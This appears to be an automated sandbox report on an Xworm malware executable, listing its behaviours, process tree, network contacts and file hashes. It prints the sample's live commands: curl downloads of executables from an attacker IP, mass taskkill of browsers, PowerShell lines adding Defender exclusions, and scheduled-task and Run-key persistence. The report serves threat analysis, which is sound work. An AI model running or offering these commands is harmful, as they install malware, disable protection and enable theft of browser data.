Analysis Overview
SHA256
efcd31afd704c03d8a487a06c795bba7ea0a1cde0866d8fcfd40f4c3ce197bbd
Threat Level: Known bad
The file efcd31afd704c03d8a487a06c795bba7ea0a1cde0866d8fcfd40f4c3ce197bbd.exe was found to be: Known bad.
Malicious Activity Summary
Detect Xworm Payload
Xworm
Downloads MZ/PE file
Command and Scripting Interpreter: PowerShell
Reads user/profile data of web browsers
Executes dropped EXE
Checks computer location settings
Legitimate hosting services abused for malware hosting/C2
Looks up external IP address via web service
Adds Run key to start application
Unsigned PE
Enumerates physical storage devices
Suspicious use of SetWindowsHookEx
Suspicious use of WriteProcessMemory
Suspicious use of AdjustPrivilegeToken
Uses Task Scheduler COM API
Suspicious behavior: EnumeratesProcesses
Creates scheduled task(s)
Kills process with taskkill
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-05-26 07:50
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-05-26 07:50
Reported
2024-05-26 07:52
Platform
win7-20240419-en
Max time kernel
121s
Max time network
122s
Command Line
Signatures
Enumerates physical storage devices
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2236 wrote to memory of 2108 | N/A | C:\Users\Admin\AppData\Local\Temp\efcd31afd704c03d8a487a06c795bba7ea0a1cde0866d8fcfd40f4c3ce197bbd.exe | C:\Windows\system32\cmd.exe |
| PID 2236 wrote to memory of 2108 | N/A | C:\Users\Admin\AppData\Local\Temp\efcd31afd704c03d8a487a06c795bba7ea0a1cde0866d8fcfd40f4c3ce197bbd.exe | C:\Windows\system32\cmd.exe |
| PID 2236 wrote to memory of 2108 | N/A | C:\Users\Admin\AppData\Local\Temp\efcd31afd704c03d8a487a06c795bba7ea0a1cde0866d8fcfd40f4c3ce197bbd.exe | C:\Windows\system32\cmd.exe |
Processes
C:\Users\Admin\AppData\Local\Temp\efcd31afd704c03d8a487a06c795bba7ea0a1cde0866d8fcfd40f4c3ce197bbd.exe
"C:\Users\Admin\AppData\Local\Temp\efcd31afd704c03d8a487a06c795bba7ea0a1cde0866d8fcfd40f4c3ce197bbd.exe"
C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\6B5.tmp\6B6.tmp\6B7.bat C:\Users\Admin\AppData\Local\Temp\efcd31afd704c03d8a487a06c795bba7ea0a1cde0866d8fcfd40f4c3ce197bbd.exe"
Network
Files
C:\Users\Admin\AppData\Local\Temp\6B5.tmp\6B6.tmp\6B7.bat
| MD5 | abdb6860d790577e02cca5005866bbe8 |
| SHA1 | 6c87a9e8b0b29ffe358c079a54f06dd9ef5cfb37 |
| SHA256 | ee13e97e15c3a2f432a7bfd3af278aa38ff88baa7652ea0bfb2e5d9bf5adb8f0 |
| SHA512 | 1bbcf1d4540019aa392234e91e7629fd9f61240b8d7003df3404536810e639f7019a60bb74c2a08be5f855fd96923d0f8e0cdf7fa3a3d25e1e5829487a959fce |
Analysis: behavioral2
Detonation Overview
Submitted
2024-05-26 07:50
Reported
2024-05-26 07:53
Platform
win10v2004-20240508-en
Max time kernel
148s
Max time network
153s
Command Line
Signatures
Detect Xworm Payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Xworm
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Downloads MZ/PE file
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\efcd31afd704c03d8a487a06c795bba7ea0a1cde0866d8fcfd40f4c3ce197bbd.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\rm.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\ram.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\rm.exe | N/A |
| N/A | N/A | C:\ProgramData\winlogon.exe | N/A |
| N/A | N/A | C:\ProgramData\winlogon.exe | N/A |
| N/A | N/A | C:\ProgramData\winlogon.exe | N/A |
Reads user/profile data of web browsers
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\winlogon = "C:\\ProgramData\\winlogon.exe" | C:\Users\Admin\AppData\Local\Temp\rm.exe | N/A |
Legitimate hosting services abused for malware hosting/C2
| Description | Indicator | Process | Target |
| N/A | pastebin.com | N/A | N/A |
| N/A | pastebin.com | N/A | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | ip-api.com | N/A | N/A |
Enumerates physical storage devices
Creates scheduled task(s)
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\schtasks.exe | N/A |
Kills process with taskkill
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\taskkill.exe | N/A |
| N/A | N/A | C:\Windows\system32\taskkill.exe | N/A |
| N/A | N/A | C:\Windows\system32\taskkill.exe | N/A |
| N/A | N/A | C:\Windows\system32\taskkill.exe | N/A |
| N/A | N/A | C:\Windows\system32\taskkill.exe | N/A |
| N/A | N/A | C:\Windows\system32\taskkill.exe | N/A |
| N/A | N/A | C:\Windows\system32\taskkill.exe | N/A |
| N/A | N/A | C:\Windows\system32\taskkill.exe | N/A |
| N/A | N/A | C:\Windows\system32\taskkill.exe | N/A |
| N/A | N/A | C:\Windows\system32\taskkill.exe | N/A |
| N/A | N/A | C:\Windows\system32\taskkill.exe | N/A |
| N/A | N/A | C:\Windows\system32\taskkill.exe | N/A |
| N/A | N/A | C:\Windows\system32\taskkill.exe | N/A |
| N/A | N/A | C:\Windows\system32\taskkill.exe | N/A |
| N/A | N/A | C:\Windows\system32\taskkill.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\rm.exe | N/A |
Suspicious use of AdjustPrivilegeToken
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\rm.exe | N/A |
Suspicious use of WriteProcessMemory
Uses Task Scheduler COM API
Processes
C:\Users\Admin\AppData\Local\Temp\efcd31afd704c03d8a487a06c795bba7ea0a1cde0866d8fcfd40f4c3ce197bbd.exe
"C:\Users\Admin\AppData\Local\Temp\efcd31afd704c03d8a487a06c795bba7ea0a1cde0866d8fcfd40f4c3ce197bbd.exe"
C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\4594.tmp\4595.tmp\4596.bat C:\Users\Admin\AppData\Local\Temp\efcd31afd704c03d8a487a06c795bba7ea0a1cde0866d8fcfd40f4c3ce197bbd.exe"
C:\Windows\system32\curl.exe
curl -s -o ram.exe http://188.212.100.57:54391/download/shell.exe
C:\Windows\system32\curl.exe
curl -s -o rm.exe http://188.212.100.57:54391/download/winlogon.exe
C:\Users\Admin\AppData\Local\Temp\ram.exe
ram.exe
C:\Windows\system32\taskkill.exe
taskkill /F /IM chrome.exe /T
C:\Windows\system32\taskkill.exe
taskkill /F /IM firefox.exe /T
C:\Windows\system32\taskkill.exe
taskkill /F /IM brave.exe /T
C:\Windows\system32\taskkill.exe
taskkill /F /IM opera.exe /T
C:\Windows\system32\taskkill.exe
taskkill /F /IM kometa.exe /T
C:\Windows\system32\taskkill.exe
taskkill /F /IM orbitum.exe /T
C:\Windows\system32\taskkill.exe
taskkill /F /IM centbrowser.exe /T
C:\Windows\system32\taskkill.exe
taskkill /F /IM 7star.exe /T
C:\Windows\system32\taskkill.exe
taskkill /F /IM sputnik.exe /T
C:\Windows\system32\taskkill.exe
taskkill /F /IM vivaldi.exe /T
C:\Windows\system32\taskkill.exe
taskkill /F /IM epicprivacybrowser.exe /T
C:\Windows\system32\taskkill.exe
taskkill /F /IM msedge.exe /T
C:\Windows\system32\taskkill.exe
taskkill /F /IM uran.exe /T
C:\Windows\system32\taskkill.exe
taskkill /F /IM yandex.exe /T
C:\Windows\system32\taskkill.exe
taskkill /F /IM iridium.exe /T
C:\Users\Admin\AppData\Local\Temp\rm.exe
rm.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\rm.exe'
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'rm.exe'
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\winlogon.exe'
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'winlogon.exe'
C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "winlogon" /tr "C:\ProgramData\winlogon.exe"
C:\ProgramData\winlogon.exe
C:\ProgramData\winlogon.exe
C:\ProgramData\winlogon.exe
C:\ProgramData\winlogon.exe
C:\ProgramData\winlogon.exe
C:\ProgramData\winlogon.exe
Network
| Country | Destination | Domain | Proto |
| RO | 188.212.100.57:54391 | 188.212.100.57 | tcp |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 57.100.212.188.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 209.205.72.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 2.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| RO | 188.212.100.57:54391 | 188.212.100.57 | tcp |
| US | 8.8.8.8:53 | 154.239.44.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | ip-api.com | udp |
| US | 208.95.112.1:80 | ip-api.com | tcp |
| US | 8.8.8.8:53 | 1.112.95.208.in-addr.arpa | udp |
| US | 8.8.8.8:53 | pastebin.com | udp |
| US | 172.67.19.24:443 | pastebin.com | tcp |
| US | 8.8.8.8:53 | 24.19.67.172.in-addr.arpa | udp |
| US | 8.8.8.8:53 | api.telegram.org | udp |
| NL | 149.154.167.220:443 | api.telegram.org | tcp |
| US | 8.8.8.8:53 | 220.167.154.149.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 103.169.127.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 15.164.165.52.in-addr.arpa | udp |
| DE | 194.107.126.34:50394 | tcp | |
| US | 8.8.8.8:53 | 34.126.107.194.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 82.90.14.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 43.229.111.52.in-addr.arpa | udp |
Files
C:\Users\Admin\AppData\Local\Temp\4594.tmp\4595.tmp\4596.bat
| MD5 | abdb6860d790577e02cca5005866bbe8 |
| SHA1 | 6c87a9e8b0b29ffe358c079a54f06dd9ef5cfb37 |
| SHA256 | ee13e97e15c3a2f432a7bfd3af278aa38ff88baa7652ea0bfb2e5d9bf5adb8f0 |
| SHA512 | 1bbcf1d4540019aa392234e91e7629fd9f61240b8d7003df3404536810e639f7019a60bb74c2a08be5f855fd96923d0f8e0cdf7fa3a3d25e1e5829487a959fce |
C:\Users\Admin\AppData\Local\Temp\ram.exe
| MD5 | 2c93399e0b0fc11cd03a56fc844a4816 |
| SHA1 | d8a6db37b1ac3cc819b04b0f4aac7fe721f88f00 |
| SHA256 | 081da8d5b9e21e11ae3aeafd4ac54ba2e7a45a05abb08139bc1aa0213f1ef155 |
| SHA512 | dea99c0a22077389f6f6662e644e47ecb55ac010881b135ada2e07ac7a5ba1d42670d52c6cd88804aa3a16783f1e1f39b23fe3f7de6030ede831a27fee30f4a8 |
C:\Users\Admin\AppData\Local\Temp\cards.json
| MD5 | 37a6259cc0c1dae299a7866489dff0bd |
| SHA1 | 2be88ca4242c76e8253ac62474851065032d6833 |
| SHA256 | 74234e98afe7498fb5daf1f36ac2d78acc339464f950703b8c019892f982b90b |
| SHA512 | 04f8ff2682604862e405bf88de102ed7710ac45c1205957625e4ee3e5f5a2241e453614acc451345b91bafc88f38804019c7492444595674e94e8cf4be53817f |
memory/3144-14-0x00007FF6B10C0000-0x00007FF6B18F3000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\rm.exe
| MD5 | a43a55c5578f61d05ce146ead83e745a |
| SHA1 | 83093f791120d3e74b0d0847aebc52d3c9f04078 |
| SHA256 | de4d28dd8c9208fe86dec1e014913f3cfefdcadf73a7adb6eb062677f5f5772f |
| SHA512 | a49839e60d77003090e0c9f602a64e597648e7151d99c5096479984cee32d376c8bd425114704b9366d213d0e9494900a726dead28e0548c5b7788ad5e5cbf1d |
memory/1676-18-0x00000000007A0000-0x00000000007B6000-memory.dmp
memory/1908-21-0x000001CCECEC0000-0x000001CCECEE2000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4q2cae53.pdr.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | d85ba6ff808d9e5444a4b369f5bc2730 |
| SHA1 | 31aa9d96590fff6981b315e0b391b575e4c0804a |
| SHA256 | 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f |
| SHA512 | 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 6d42b6da621e8df5674e26b799c8e2aa |
| SHA1 | ab3ce1327ea1eeedb987ec823d5e0cb146bafa48 |
| SHA256 | 5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c |
| SHA512 | 53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29 |
memory/2192-43-0x000002791DC30000-0x000002791DE4C000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | da5c82b0e070047f7377042d08093ff4 |
| SHA1 | 89d05987cd60828cca516c5c40c18935c35e8bd3 |
| SHA256 | 77a94ef8c4258445d538a6006ffadb05afdf888f6f044e1e5466b981a07f16c5 |
| SHA512 | 7360311a3c97b73dd3f6d7179cd979e0e20d69f380d38292447e17e369087d9dd5acb66cd0cbdd95ac4bfb16e5a1b86825f835a8d45b14ea9812102cff59704b |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 7d9ecfe610b58440e18d2bffe5167d71 |
| SHA1 | 7afeed064042ef5e614228f678a0c595699c3d84 |
| SHA256 | 2c42082be2718281fe2a2bf0136bf417ff214ce7c36bc22a40d23adb1d026632 |
| SHA512 | 017a63c4b81cd256adec796b9258fbae464d32af59cb654a81dd157e02896f50a252c25b6eac07fc6cb44a493b477e7debfaf9999c854dbd3fb34e24ef443c29 |
memory/4540-66-0x0000027072690000-0x00000270728AC000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\winlogon.exe.log
| MD5 | 2ff39f6c7249774be85fd60a8f9a245e |
| SHA1 | 684ff36b31aedc1e587c8496c02722c6698c1c4e |
| SHA256 | e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced |
| SHA512 | 1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1 |